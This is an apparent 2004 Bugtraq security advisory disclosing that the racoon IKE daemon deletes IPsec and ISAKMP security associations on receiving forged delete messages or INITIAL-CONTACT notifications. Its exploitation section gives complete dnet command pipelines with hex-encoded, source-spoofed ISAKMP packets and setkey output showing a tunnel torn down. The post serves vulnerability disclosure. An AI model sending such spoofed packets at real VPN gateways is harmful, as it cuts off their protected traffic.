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Message-ID: <20040113213940.GA1727@hzeroseven.org>
Date: Tue, 13 Jan 2004 22:39:40 +0100
From: Thomas Walpuski <thomas@...nknerd.org>
To: bugtraq@...urityfocus.com
Subject: unauthorized deletion of IPsec (and ISAKMP) SAs in racoon
0 Preface
Now that most bugs in isakmpd that allowed for unauthorized SA
deletion are "fixed", it's time to release some information on racoon.
By the way: About 5 months ago I tried to contact the KAME developers.
1 Description
racoon, KAME's IKE daemon, contains some flaws, that allow for
unauthorized deletion of IPsec (and ISAKMP) SAs.
2 Description
2.1 racoon's "authentication" of delete messages
When racoon receives a delete message containing the initiator
cookie of a main/aggressive/base mode, that has not yet setup a
ISAKMP SA, it fulfills the request, if the message also includes a
(dummy) hash payload and originates from the right IP address. See
isakmp_main() in isakmp.c and purge_isakmp_spi(), purge_ipsec_spi(),
isakmp_info_recv() and isakmp_info_recv_d() in isakmp_inf.c for
details and amusement.
2.2 INITIAL-CONTACT with racoon
It is nearly the same with INITIAL-CONTACT notifications, but there
is no need of a (dummy) hash payload and it's way more effective,
because it deletes all IPsec SAs "relatived to the destination
address". See isakmp_info_recv_n() and info_recv_initialcontact() in
isakmp_inf.c for additional information.
3 Affected Systems
All versions of racoon are affected.
4 Leveraging the Issues ..
Take a look at http://securityfocus.com/archive/1/348637 for the
assumed scenario.
4.1 .. using delete messages
An IPsec tunnel between vpn-gw-a and vpn-gw-a is established:
vpn-gw-a# setkey -D
<vpn-gw-a's IP address> <vpn-gw-b's IP address>
esp mode=tunnel spi=4127562105(0xf6059979) reqid=0(0x00000000)
[..]
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
[..]
The attacker launches step 1 of his attack. He pretends to initiate a
phase 1 exchange (with spoofed source IP address, of course):
attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x01\x10\x02\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x48" \
> "\x00\x00\x00\x2c" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x20" \
> "\x01\x01\x00\x01" \
> "\x00\x00\x00\x18" \
> "\x00\x01\x00\x00" \
> "\x80\x01\x00\x05" \
> "\x80\x02\x00\x02" \
> "\x80\x03\x00\x01" \
> "\x80\x04\x00\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
If racoon finds the included proposal acceptable it creates a state.
Now the attacker carries out step 2:
attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x08\x10\x05\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x30" \
> "\x0c\x00\x00\x04" \
> "\x00\x00\x00\x10" \
> "\x00\x00\x00\x01" \
> "\x03\x04\x00\x01" \
> "\xf6\x05\x99\x79" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
It seems that racoon knows the attacker ;-):
vpn-gw-a# setkey -D
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
[..]
Note: You can also delete ISAKMP SAs.
4.2 .. using INITIAL-CONTACT
The IPsec tunnel is up an running:
vpn-gw-a# setkey -D
<vpn-gw-a's IP address> <vpn-gw-b's IP address>
esp mode=tunnel spi=785352974(0x2ecf890e) reqid=0(0x00000000)
[..]
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=183367627(0x0aedf7cb) reqid=0(0x00000000)
[..]
Again the attacker does step 1 and injects an ISAKMP message like
this:
attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x0b\x10\x05\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x28" \
> "\x00\x00\x00\x0c" \
> "\x00\x00\x00\x01" \
> "\x01\x00\x60\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
racoon blindly obeys the attacker's command:
vpn-gw-a# setkey -D
No SAD entries.
5. Bug fixes
There are no bug fixes.
Thomas Walpuski
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